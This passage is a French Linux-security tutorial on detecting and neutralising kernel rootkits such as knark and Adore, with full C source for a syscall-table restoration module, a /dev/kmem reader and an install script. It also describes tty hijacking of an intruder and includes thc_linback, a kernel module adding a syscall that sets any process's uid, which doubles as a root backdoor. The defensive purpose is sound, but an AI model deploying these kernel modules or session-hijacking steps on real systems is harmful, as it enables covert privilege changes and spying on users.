être), etc.
voyons :
sh-2.04# ./kstat
Usage: ./kstat [-i iff] [-P] [-p pid] [-M] [-m addr] [-s]
-i iff may be specified as 'all' or as name (e.g. eth0)
displays info about the queried interface
-P displays all processes
-p pid is the process id of the queried task
-M displays the kernel's LKMs' linked list
-m addr is the hex address of the queried module
displays info about the module to be found at addr
-s displays info about the system calls' table
sh-2.04#
./kstat -s | grep WARNING
sys_fork
0xc4d65578 WARNING! Should be at
0xc0108fb0
sys_read
0xc4d65874 WARNING! Should be at 0xc0126bc4
# Permet de cacher des portions de fichiers
sys_execve
0xc4d65c08 WARNING! Should be at 0xc010901c
# Redirection d'execution
sys_kill
0xc4d65640 WARNING! Should be at 0xc0111068
# Permet d'ajouter un flag dans la task structure
sys_ioctl
0xc4d656bc WARNING! Should be at 0xc0130c60
# pour cacher les processus. sys_ioctl permet lui de
sys_settimeofday
0xc4d65ac4 WARNING! Should be at 0xc0118e88
# cacher fichiers et
repertoire.
sys_clone
0xc4d655dc WARNING! Should be at 0xc0108fd0
sys_getdents
0xc4d65454 WARNING! Should be at 0xc0130f98
# sert a cacher le module.
Voila les 8 syscall que
modifie la rootkit knark.
D'une rootkit
à une autre ce ne sont pas les
mêmes syscall qui sont
modifiés, et cela est bien pratique pour savoir qu'elle rootkit
rechercher.
En général
une fois
trouvée la rootkit elle-même il est facile de trouver les autres fichiers qui
appartiennent
aux pirates.
Si vous voulez savoir quel syscall patcher pour modifier une action
du système, lancez votre commande en
debuging avec strace :
[root@localhost /root]# strace cat /etc/passwd
| grep read
read(3,
"root:x:0:0:root:/root:/bin/bash\n"..., 4096) =
1003
read(3, "", 4096)
= 0
[-
Note -]
On a quasiment le meme resultat
si l'on cherche cette fois write, ce qui prouve qu'il est possible de
patcher
sys_write a la place de sys_read, ce que fait
Adore.
En modifiant insmod pour
exécuter mon module
à chaque insertion de module
vous êtes
certain de ne pas avoir
affaire à
ce type de rootkit, cependant
vous pouvez
aussi vous contentez d'ajouter un ./kstat -s
| grep WARNING > /dev/null && ./root/callpach dans
votre cron
pour vous assurez de retirer les modules
chargés si il y en a !
Une bonne
méthode consisterai
à rediriger
l'exécution
de /sbin/insmod
par
l'intermédiaire
d'un binaire qui retire la redirection
d'exécution pour faire appel
à l'insmod originel puis qui appel
mon module
via /root/callpatch,
et enfin
replace
correctement
la
redirection
d'exécution
(il est nécessaire
qu'insmod se trouve a son emplacement d'origine pour
être lancer).
Attention ! Ne laissez pas kstat sous son nom originel, sinon vous prenez le risque qu'un hackers averti ne fasse un find / -name kstat -exec ./rexec {} fakekstat et redirige votre kstat vers un faux ou les sorties seraient filtrer !
Vous pouvez aussi aller jeter un oeil à /lib/modules/"kernel-version" pour voir les modules qui sont chargés au démarrage et tenter d'identifier un module rootkit, cependant il est probable que même si il y en un vous ne le verrez pas. C'est a ce moment qu'en utilisant mon module puis en regardant à nouveau, vous pourrez identifier les modules rootkit qui étaient jusqu'à présent invisibles. Voici une petite démonstration de mon module, ici la rootkit est Adore pour varier un peu de knark.
[root@linux
KSTAT]# ./kstat -s | grep W
# Apparament System.map n'est pas a jour et affiche une erreur. Peu importe.
sys_select
0xc010e598 WARNING! Should be at 0xc0131490
[root@linux
KSTAT]# cd /root/rootkit/adore/
[root@linux adore]# insmod adore.o
# Maintenant le systeme est rootkitez
[root@linux adore]# cd
/root/KSTAT/
[root@linux
KSTAT]# ./kstat -s | grep W
# Si on ignore sys_select, on voit les 7 syscall modifier par adore
sys_fork
0xc4cb842c WARNING! Should be at 0xc0108fb0
sys_write
0xc4cb85a0 WARNING! Should be at 0xc0126c94
sys_close
0xc4cb8650 WARNING! Should be at 0xc01268b4
sys_kill
0xc4cb84dc WARNING! Should be at 0xc0111068
sys_mkdir
0xc4cb873c WARNING! Should be at 0xc012f1d4
sys_select
0xc010e598 WARNING! Should be at 0xc0131490
sys_clone
0xc4cb8484 WARNING! Should be at 0xc0108fd0
sys_getdents
0xc4cb82a8 WARNING! Should be at 0xc0130f98
[root@linux
KSTAT]# cd
[root@linux /root]# ./callpatch
# Lancement du patch
[!] Coder par
Sauron.
[*] Syscall table regenerat0r launching !
Done.
[root@linux /root]# cd
KSTAT/
[root@linux
KSTAT]# ./kstat -s | grep W
# Le systeme est redevenu comme lorsque le module fut
chargee. Have
Phun :)
sys_select
0xc010e598 WARNING! Should be at 0xc0131490
[root@linux /root]#
# Vous pouvez commencez la recherche des fichier du pirate.
Une fois le patch lancer, les processus cacher aparaitront. Faites une
comparaison avant et apres avoir lancer mon module et vous connaitrez les
pid qui etait
cacher. Mon module est particulierement pratique dans le cas ou vous
etes infectee par la rootkit knark comme dans l'exemple d'intrusion. En
effet la
rootkit knark cache tout ses secrets dans le repertoire
/proc/knark
qui est invisible. Tant que la rootkit est charger ces repertoires existe,
ils sont automatiquement
effacer lorsque knark est dechargee et que la fonction cleanup_module()
s'execute. Les contenus des fichiers de /proc/knark/ ne sont pas senser
etre visible pour l'administrateur. Cependant en lancant mon module, la
rootkit bien qu'inefficasse reste charger. Aucunes de ses fonctions
ne sera plus appeler.
Cela signifie que une fois mon module lancer, il va vous etre possible
de connaitre tous les repertoires et tout les fichiers que votre pirate
ne voulait pas que vous voyiez en regardant les fichiers /proc/knark/ :
[root@localhost
knark]# cd
/proc/knark
[root@localhost
knark]# ls
author files nethides pids redirects
[root@localhost
knark]#
Ils contiennent les string referenssant les connexion qui vous apparaissait
invisible, les fichiers invisibles, les processus et les redirection d'execution
:) Perfect !
Une faille commune aux rootkits est qu'elles sont obligées de
savoir que cacher et que laisser visible. Pour cacher leur processus, fichier
ou autre il font donc
leur donner un attribut qui les demarquera des autres. Cet attribut
une fois connu combiner a mon module va vous permettre de trouver toutes
les traces de l'activite
de votre pirate qui se croyait en securite derriere son module.
Dans le cas de la rootkit adore, les fichiers ont comme utilisateur
ou comme groupe 30, pour knark ils sont lister dans les fichiers de /proc/knark.
Et en examinant le code de chacune des rootkit vous serez en mesure
de toutes les detecter et les mener en echecs :)
[-
Pieger son pirate -]
Pensez de temps a autre a verifier que le terminaux de vos utilisateur
ne sont pas root . Si c'est le cas vous pouvez utilisez un module qui va
changer l'uid d'un pid. Ainsi si vous voyez un shell root qui n'est
pas le votre, vous pouvez le passez en nobody, puis surveillez son terminal
en pratiquant du
tty hijacking. ( des outils existe et le font sans necessiter de connaissances
particuliere, vous en trouverez sur la meme url que pour kstat ). Si le
pirate a cacher un shell suid root quelque part vous pourez apprendre ou
puisqu'il y a des chances qu'il y fasse appel, ne comprenant pas pourquoi
whoami
lui affiche nobody avec un prompt de root ;)
Voici un exemple d'une tel modification :
root@linux /root]# ps -aux | grep sh | grep root
(...)
root 1649 0.2 1.8
2060 1208 pts/1 S 18:24
0:00 /bin/sh # surtout
ne pas paniquer ! ;)
mdr...
root@linux /root]# insmod
/root/lkm/thc_linback.o
root@linux /root]# /root/lkm/thc_lincall 99 1649
return code
is: 0!
root@linux /root]# ps -aux | grep sh | grep nobody
nobody 1649 0.2 1.8
2060 1208 pts/1 S 18:24
0:00 /bin/sh # Ahh.. c'est mieux
:) Merci les modules !
root@linux /root]# /root/tools/ttyhijack /dev/pts/1 >> /root/LogMrHacker
&; sleep 10 # donne moi des
infos stp :))
root@linux /root]# echo Pti con va ! >>
/dev/pts/1
root@linux /root]# kill 1649
# Allez adios chérie :)
Le code de ce module se trouve a la fin de cette article :) Il peut
egalement vous servir pour modifier les permissions de services ( mettre
httpd avec des droit
nobody si ce n'est pas le cas sans devoir le relancer par exemple ).
Je ne vais pas continuer a detailler toutes sortes de procedures a
suivre, j'ai simplement voulu vous presentez quelque outils de hack qu'il
peut etre tres utiles de se
servir.
Cette introduction a la securite Linux est terminer. Je pense que si suivez tout les conseils que je vous ai donner, il ne vous arrivera jamais de vous faire pirater. Et si c'est le cas, vous serez vite en mesure d'assainir votre systeme, cependant il sera peut etre trop tard pour votre page d'accueil. Allez une derniere astuce : bloquer les page d'accueil en ecriture de maniere discrete avec la commande chattr +ia <fichier> vous pourez retirer cette protection facilement avec le meme binaire, mais il est peu probable qu'un pirate y pense, de plus vous pouvez cacher le binaire chattr ( whereis chattr pour le trouver ). La meilleur methode pour s'assurer de ne pas etre visitee reste encore de s'informer des nouveau exploits disponible pour l'ennemie, et de ne pas le laisser vous devancer. Je vous conseille d'aller jeter un oeil a Bugtraq sur www.security-focus.com qui recense les nouvelles failles decouvertes et les discussions qui y sont liées :) Prendre 5 minutes de votre temps tout les mois n'est pas exagerer pour garder son systeme des curieux.
Nous avons vu comment nous proteger efficassement des outils de la nouvelles
generation, mais il se prepare deja ceux de demain :
Les rootkits patcheront directement /dev/kmem
afin de ne pas se laissez reperer par des outils comme kstat, de plus la
table des syscall ne sera plus modifier,
les syscall seront directement hijacker ( en placant par exemple un
jump comme premiere instruction vers le faux syscall directement a l'adresse
sur le vrai syscall).
Le talentueux coder Silvio Cesare a deja ecrit des articles, difusant
des codes sources de tels modules, cependant ceux ci ne sont pas encore
distribuer dans des
rootkits, on peut craindre que cela arrive tres vite. J'ai quand meme
equiper mon module d'une parade contre ce type d'attaque, lors de
son chargement il
sauvegarde les 15 premiers octets de chacun des syscall auquels nous
tenons pour les reinscrire plus tard.Ainsi si un jump a ete ajouter il
sera retirer et le syscall remis
dans son etat originaire.
Une methode efficasse que les pirates pourraient alors utiliser, serait
de ne pas modifier l'adresse des syscall dans la syscall table, mais d'ecrire
directement
sur les syscall et d'y placer le syscall modifier a la maniere dont
on pose un shellcode en memoire. Ce type d'attaque pourra berner mon module
quand ce "syscall"-code
aura les memes 15 premier octet que le syscall identique. Nous n'en
sommes pas encore la et je pense que mon module fera l'affaire pour un
petit bout de temps.
En attendant qu'il soit vraiment necessaure de se proteger de se type
d'outils des plus vicieux, protegez deja votre machine des failles actuellement
exploiter =)
Et meme si la plupart des piratage sont tres facilement detectable,
n'oubliez pas qu'il existe des hackers metrisant le systeme Linux, particulierement
au
niveau de la securite, c'est pourquoi mieux vaut installer des protections
efficasses pour ne pas rester sans defenses devant de tels individu.
Heureusement pour les admins dont le systeme est deja compromis, rien
n'est desesperer. En allant chercher les informations
directement dans /dev/kmem vous pourez recuperer l'adresse originel
des syscall qui ont ete modifier. En rajoutant quelque #define a mon
module ( la procedure est detaille en commentaire avec celui ci ) vous
devriez arrivez a remetre votre syscall table en etat :)
Je fournit avec cet article les code sources permettant de recupere
votre systeme des mains d'un pirate. Ouf !
J'espere vous avoir donner quelque idee pour mettre a profit la puissance
des modules et ne surtout pas laissez les puissants outils de la
communaute
hackers uniquement pour leur usage.
Bon courage a tous pour administrer votre r3z0 et le faire devenir securisé :)
Nicolas
Brito
a.k.a Sauron
N'hesitez pas pour tout commentaires ou pour de l'aide
ps : Je tient a faire savoir que le (mauvais) magazine
Hackerz Voice m'a voler les droit d'un article que j'avais
écrit
l'été
dernier et
publié sur le
réseau
sous le
titre
"Sécuriser son linux". Hackerz voice a
publié mon article dans son
intégralité
en prenant soin d'effacer mon
e-mail et ma signature
puis en
signant "Prof".
Après
un courrier
en
recommandé, ils me font savoir que je n'en suis
pas l'auteur, m'obligeant ainsi
à régler
ce litige par la voie judiciaire.
Non
mais !
-=-=-=-=-=-=-=-= Code Source -=-=-=-=-=-=-=-=-=-
### Voila plusieurs outils qui vous seront
très utile j'en suis
sûr :
1- Le premier
code est mon module,
suivi du programme
destinée
à y faire appel (respectivement patch.c et callpatch.c)
2- Le second n'est autre qu'un fragment du programme
kstat que j'ai
modifié. Désormais
il sert uniquement
à afficher
l'état
des
syscall.
Cela uniquement dans le but de s'assurer que
le système
est sain au moment ou vous chargerez mon module.
Pour une utilisation autre de kstat, je
vous invite
à aller le
téléchargement
sur
s0ftpr0j.
Kstat se compose lui aussi de
2 fichiers :
kmemread.c (c'est ce programme que j'ai
modifié, il est
désormais
destiné
à aller
chercher l'adresse originelle des syscall
généralement
modifié par les rootkits) et le lanceur de kstat, main.c.
4-
Vous
trouverez
ensuite encore un module et son lanceur, c'est
celui qui permet de modifier l'uid d'un pid. Comme mon module, il
implémente
un nouveau syscall pour faire
le boulot.
5- Enfin j'ai
écrit un petit script shell
destinée
à vous installez tout
ça, vous n'aurez qu'a
réunir les fichiers qui suivent
dans un même
répertoire
et à lancer
le script Install.sh
!
-=-=-=-=-=Cut here=-=-=-=-=-=
Patch.c :
/*
* Description : Ce module
linux va ajouter un syscall numero SYSNUM, 191 par default. Je conseille
de modifier
* ce numero pour eviter une
redirection de syscall, ce dont ce module veut eviter !
* Ce module sauvegarde les
syscall affecte par les module trojan des rootkit comme knark ou encore
Ombra.
* A l'appel du syscall SYSNUM,
la sys_call_table est remise dans l'etat ou elle a ete trouver,
* annulant ainsi l'effet
des module trojan. De plus les 15 premiers bytes de chacun des syscall
que nous
* tenont a preserver sont
sauvegarder pour etre remis en place, evitant ainsi le hijacking de
syscall.
* ( methode inventer par
Silvio Cesare pour ne pas avoir besoin de modifier la syscall table et
eviter les IDS ).
*
* Note
: Si vous vous apercevez avec kstat que votre systeme a deja ete
infecter, il va vous falloir modifier
* ce module avant de le charger
comme suit :
* Remplacer dans les #define
RESTORE et SAVE old_##x par def_##x.Ajouter une define pour chacun des
* 18 syscall que supporte
ce module sur ce shema : #define def_write 0xc0126c94 ( addresse
originel de sys_write )
* La derniere petite modification
est de copier la define de RESTORE ainsi que tout ces appel dans
init_module,
pour
* que la sauvegarde des 15
premiers octets de syscall qui est faite ne soit pas
corromput.
*
*
* * Compilation en
douceur avec :
*
* gcc
patch.c -c -D__KERNEL__ -DMODULE -DMODVERSIONS -I/usr/src/linux/include
-O6
* insmod
patch.o pour le charger.
*
* Auteur : saur0n
*
* E-mail :
humour@humour.com
*/
#define
__KERNEL_SYSCALLS__
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/smp_lock.h>
#include <linux/stat.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/if.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <asm/errno.h>
#define SYSNUM 191
extern void *sys_call_table[];
static char
code_getdents[15];
static char
code_kill[15];
static char
code_read[15];
static char
code_ioctl[15];
static char
code_fork[15];
static char
code_clone[15];
static char
code_execve[15];
static char
code_settimeofday[15];
static char
code_close[15];
static char
code_symlink[15];
static char
code_mkdir[15];
static char
code_write[15];
static char
code_unlink[15];
static char
code_chdir[15];
static char
code_setuid[15];
static char
code_getuid[15];
static char
code_socketcall[15];
static char
code_query_module[15];
int
(*old_getdents)(unsigned
int, struct dirent *,
unsigned
int);
int (*old_kill)(int,
int);
int (*old_read)(unsigned int, char *,
size_t);
int (*old_ioctl)(int,
int, long);
int (*old_fork)(struct
pt_regs);
int (*old_clone)(struct
pt_regs);
int (*old_execve)(struct
pt_regs);
int (*old_settimeofday)(struct timeval *, struct
timezone *);
int (*old_close)(unsigned
int);
int (*old_symlink)(const char *, const char*);
long
(*old_mkdir)(const char *,
int);
int (*old_write)(unsigned int, char *,
size_t);
int (*old_unlink) (const char *)
;
int (*old_chdir) (const char *) ;
int (*old_setuid)
(uid_t) ;
int (*old_getuid) () ;
int (*old_socketcall) (int, unsigned long *);
int (*old_query_module)(const char *, int, char *,
size_t, size_t *) ;
int (*oldfunc)();
void *_memcpy(void *dest, const void *src, int size)
{
const char *p =
src;
char *q =
dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return
dest;
}
asmlinkage int restore_system() {
#define RESTORE(x) sys_call_table[__NR_##x]
= old_##x
RESTORE(write);
RESTORE(close);
RESTORE(mkdir);
RESTORE(getdents);
RESTORE(kill);
RESTORE(read);
RESTORE(ioctl);
RESTORE(fork);
RESTORE(clone);
RESTORE(settimeofday);
RESTORE(execve);
RESTORE(unlink);
RESTORE(chdir);
RESTORE(setuid);
RESTORE(getuid);
RESTORE(socketcall);
RESTORE(query_module);
#define
NOHIJACK(hca)
_memcpy(sys_call_table[__NR_##hca],
code_##hca,
sizeof(code_##hca));
NOHIJACK(write);
NOHIJACK(close);
NOHIJACK(mkdir);
NOHIJACK(getdents);
NOHIJACK(kill);
NOHIJACK(read);
NOHIJACK(ioctl);
NOHIJACK(fork);
NOHIJACK(clone);
NOHIJACK(settimeofday);
NOHIJACK(execve);
NOHIJACK(unlink);
NOHIJACK(chdir);
NOHIJACK(setuid);
NOHIJACK(getuid);
NOHIJACK(socketcall);
NOHIJACK(query_module);
return 0;
}
int
init_module(void)
{
#define TAPEUNEDOUILLE(x) old_##x
=
sys_call_table[__NR_##x]
TAPEUNEDOUILLE(write);
TAPEUNEDOUILLE(close);
TAPEUNEDOUILLE(mkdir);
TAPEUNEDOUILLE(getdents);
TAPEUNEDOUILLE(kill);
TAPEUNEDOUILLE(read);
TAPEUNEDOUILLE(ioctl);
TAPEUNEDOUILLE(fork);
TAPEUNEDOUILLE(clone);
TAPEUNEDOUILLE(settimeofday);
TAPEUNEDOUILLE(execve);
TAPEUNEDOUILLE(unlink);
TAPEUNEDOUILLE(chdir);
TAPEUNEDOUILLE(setuid);
TAPEUNEDOUILLE(getuid);
TAPEUNEDOUILLE(socketcall);
TAPEUNEDOUILLE(query_module);
#define
SAVE(hca)
_memcpy(code_##hca,
sys_call_table[__NR_##hca],sizeof(code_##hca));
SAVE(write);
SAVE(close);
SAVE(mkdir);
SAVE(getdents);
SAVE(kill);
SAVE(read);
SAVE(ioctl);
SAVE(fork);
SAVE(clone);
SAVE(settimeofday);
SAVE(execve);
SAVE(unlink);
SAVE(chdir);
SAVE(setuid);
SAVE(getuid);
SAVE(socketcall);
SAVE(query_module);
oldfunc =
sys_call_table[SYSNUM];
sys_call_table[SYSNUM] =
restore_system;
return 0;
}
void
cleanup_module(void)
{
sys_call_table[SYSNUM] =
oldfunc;
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
callpatch.c :
/*
call_regenerator place $0xbf ( 191 ) dans %eax avant
d'appeler l'interuption int $0x80 qui a pour
effet d'appeler le syscall dont %eax contient le
numero, vous devrez donc modifier une ligne
si vous voulez attribuez un autre numero de syscall
a ce patch.
*/
#include <asm/unistd.h>
#include <stdio.h>
int errno;
int
call_regenerator()
{
__asm__("
movl $191,
%eax
int $0x80
");
}
int main()
{
printf("\n[!]
Codé par Sauron.\n[*] Syscall table
regenert0r launching !\n");
call_regenerator();
printf("Done.\n\n");
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Voici kmemread.c :
/*
* Description : Il s'agit d'un programme qui va chercher
l'adresse des syscall
* souvent modifier par les rootkit dans /dev/kmem
directement pour ensuite faire
* appele a un module qui restorera la sys_call_table
dans son etat avant trojanisation
* Les modules trojan modifiant les syscall n'auront
donc plus aucun effet. Le module
* peut recommencer autant de fois que necessaire.
Une petite modification du binaire
* /sbin/insmod ( ou une redirection en execution
) peut s'averer necessaire pour
* que mon module soit appeler immediatement apres
insmod appeler. Ainsi vous vous
* assurez qu'aucun module trojan ne poura etre installer.
Cela vous evite de mettre
* le restaurateur de syscall et de la sys_call_table
dans vos
cron.
*
* Auteur : j'ai ( saur0n ) simplement modifier le
code de
* FuSyS de "SoftProject Digital Security for Y2K"
fourni avec kstat pour l'associer
* avec mon module et pour que celui ci puisse etre
efficasse meme si le systeme
* est deja compromis lors de son chargement :-)
*
*/
#define
__KERNEL__
#include <linux/netdevice.h>
#include <linux/inetdevice.h>
#include <linux/if_arp.h>
#include <linux/sched.h>
#include <linux/capability.h>
#include <linux/module.h>
#undef
__KERNEL__
#define SYSTEMMAP
"/boot/System.map"
#define QM_SYMBOLS 4
#include <errno.h>
#define SEEK_SET 0
typedef struct
_IO_FILE FILE;
extern FILE *fopen __P ((__const char
*__restrict
__filename,
__const char
*__restrict
__modes));
extern char *fgets __P ((char *__restrict __s, int
__n,
FILE *__restrict
__stream));
extern unsigned long int strtoul __P ((__const char
*__restrict
__nptr,
char
**__restrict
__endptr,
int
__base));
extern int printf __P ((__const char
*__restrict
__format, ...));
extern int open __P ((__const char *__file, int
__oflag,
...));
extern __ptr_t realloc __P ((__ptr_t __ptr, size_t
__size));
extern void free __P
((__ptr_t
__ptr));
extern off_t lseek __P ((int __fd, off_t __offset,
int __whence))
extern ssize_t read __P ((int __fd, __ptr_t __buf,
size_t
__nbytes));
extern __ptr_t malloc __P
((size_t
__size));
#define KMEM
"/dev/kmem"
#define SYSCALL
"sys_call_table"
int
errno, fd;
char *iff,
name[10];
void
uso(char*);
int
find_kmem_offset(char*);
int kread(int, unsigned long,
void*, int);
void
err(char*);
int
find_maddr(char*);
void
show_syscalls();
unsigned long
find_smap_addr(char*);
struct new_module_symbol
{
unsigned long value;
unsigned long
name;
};
int query_module(const char *name, int which, void
*buf, size_t
bufsize,
size_t
*ret);
int
find_kmem_offset(char
*sym_name)
{
struct new_module_symbol
*syms, *s;
size_t
ret,
bufsize,
nsymbols, j;
syms=malloc(bufsize =
sizeof(struct
new_module_symbol));
retry_kern_symbol_load:
if(query_module(NULL,
QM_SYMBOLS,
syms,
bufsize,
&ret)){
if (errno ==
ENOSPC){
syms =(struct new_module_symbol *)realloc(syms, bufsize
= ret);
goto
retry_kern_symbol_load;
}
printf("find_kmem_offset: QM_SYMBOLS error %d\n",
errno);
return -1;
}
nsymbols =
ret;
for (j = 0, s = syms; j < nsymbols; ++j, ++s){
if(strstr((char
*)syms+s->name,
sym_name)){
free(syms);
return s->value;
}
}
printf("%s Kmem Offset Not
Found\n\n",
sym_name);
free(syms);
return -1;
}
int kread(int des, unsigned long addr, void *buf,
int len)
{
int
rlen;
if(lseek(des,
(off_t)addr,
SEEK_SET) == -1)
return -1;
if((rlen = read(des, buf, len)) !=
len)
return -1;
return
rlen;
}
#define NR 18
char
*sysc[NR]={
"ni_syscall",
"write","close","mkdir",
"getdents",
"kill",
"read",
"ioctl",
"fork", "clone",
"settimeofday",
"execve",
"unlink",
"chdir",
"setuid",
"getuid",
"socketcall",
"query_module"};
unsigned long
find_smap_addr(char
*syscall)
{
FILE *fd;
char
buff[8192], call[50],
addr[15];
fd=fopen(SYSTEMMAP, "r");
memset(&call, '\0', 50);
memset(&addr, '\0', 15);
strncat(call,
"sys_", 4);
strncat(call,
syscall,
strlen(syscall));
strncat(call, "\n", 1);
call[5+strlen(syscall)+1]='\0';
while((fgets(buff, 8192,
fd))!=NULL){
if(strstr(buff, call)){
if(!strcmp(buff+11, call)){
strncat(addr, "0x", 2);
strncat(addr,
buff, 8);
addr[11]='\0';
return(strtoul(addr,
NULL, 0));
}
}
}
return -1;
}
void
show_syscalls()
{
int kd, i;
unsigned int
kaddr;
unsigned long
kmem_call_table[NR],
smapaddr;
kaddr=find_kmem_offset(SYSCALL);
kd=open(KMEM,
O_RDONLY);
if(kread(kd,
(unsigned
long)kaddr, &kmem_call_table,
sizeof(kmem_call_table)) == -1) err("[!] Erreur pendant la lecture de /dev/kmem
avec kread ! desole ...");
printf("[- Syscall -] [-Address d'origine -]");
for(i=1; i < NR; i++)
if(kmem_call_table[i]){
printf("\nsys_%-22s",
sysc[i]);
smapaddr=find_smap_addr(sysc[i]);
if(kmem_call_table[i] != smapaddr &&
smapaddr!=0xffffffff)
printf("%p",
(void*)smapaddr);
}
printf("\n");
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Voici main.c :
#define
__KERNEL__
#include <linux/module.h>
#undef
__KERNEL__
void
show_syscalls();
int main() {
show_syscalls();
exit(0);
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Voila thc_linback.c :
/*
* idea & credits go to pragmatic
/ THC and his "Attacking FreeBSD with Kernel Modules"
* ported to linux by belf@s0ftpj.org
(tested on debian 2.2 - kernel 2.2.15)
* compile with 'gcc -c thc_linback.c
-O6 -I/usr/src/linux/include/'
* greetz to pig and vecna @ s0ftpj.org
*/
#define
__KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/unistd.h>
#include <asm/current.h>
#include <linux/sched.h>
#define MYFUNC 192 // here you have to define where register the syscall (see arch/i386/kernel/entry.S)
extern void *sys_call_table[];
int (*fuqfunc)();
asmlinkage int you_make_me_real(unsigned short k_uid,
int k_pid) {
struct task_struct *q;
for_each_task(q) {
if(q->pid ==
k_pid) {
q->uid =
k_uid;
q->euid =
k_uid;
return 0;
}
}
return -1;
}
int
init_module() {
fuqfunc =
sys_call_table[MYFUNC];
sys_call_table[MYFUNC] =
you_make_me_real;
printk("func (0x%x) registered at offset 0x%x\n",
you_make_me_real,
sys_call_table[MYFUNC]);
return 0;
}
void
cleanup_module() {
sys_call_table[MYFUNC] =
fuqfunc;
printk("func registered at offset 0x%x
released\n",
sys_call_table[MYFUNC]);
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Voila call_thc.c :
/*
* How to use the syscall
you_make_me_real()
*
belf@s0ftpj.org
* greetz to pIG ;)
*/
#include <asm/unistd.h>
#define MYFUNC 192
int errno;
int
call_you_make_me_real(unsigned short
uid, int
pid) {
long
__res;
__asm__ volatile
("int $0x80"
: "=a"
(__res)
: "0"
(MYFUNC),"b"
((long)(uid)),"c"
((long)(pid)));
__syscall_return(int,__res);
}
int
main(int
argc, char
*argv[]) {
if(argc != 3) {
printf("%s <uid> <pid>\n",
argv[0]);
exit(-1);
}
printf("return code
is: %d!\n",
call_you_make_me_real(atoi(argv[1]),
atoi(argv[2])));
}
-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-
Et enfin voici le script shell qui vous installera tout ca , vous n'avez plus qu'a placer ces differents fichier dans un seul et meme repertoire :
#!/bin/sh
uname -a | grep inux | grep
2.2 >/dev/null || echo Avez vous vraiment un kernel linux 2.2.x ?
gcc -O2 -Wall -Werror -I/usr/src/linux/include main.c
-c 2&>1
gcc -O2 -Wall -Werror -I/usr/src/linux/include kmemread.c
-c 2&>1
gcc -O2 -Wall -Werror -I/usr/src/linux/include main.o
kmemread.o -o kstat 2&>1
gcc patch.c -c -D__KERNEL__
-DMODULE -DMODVERSIONS -I/usr/src/linux/include -O6 2&>1
gcc callpatch.c -o callpatch
2&>1
gcc -c thc_linback.c -O6 -I/usr/src/linux/include/
2&>1
gcc call_thc.c -o call_thc 2&>1
echo [*] Now launch kstat then insmod patch.o if
all s good
echo [*] Else read the comment in the header source
of the module.
echo [*] Then lauch callpatch for restore your system
echo [*] Insmod thc_linback.o for play with uid of
pid !
echo [*] use call_thc to do this !
echo [*] Amusez vous bien avec tout ca :-\)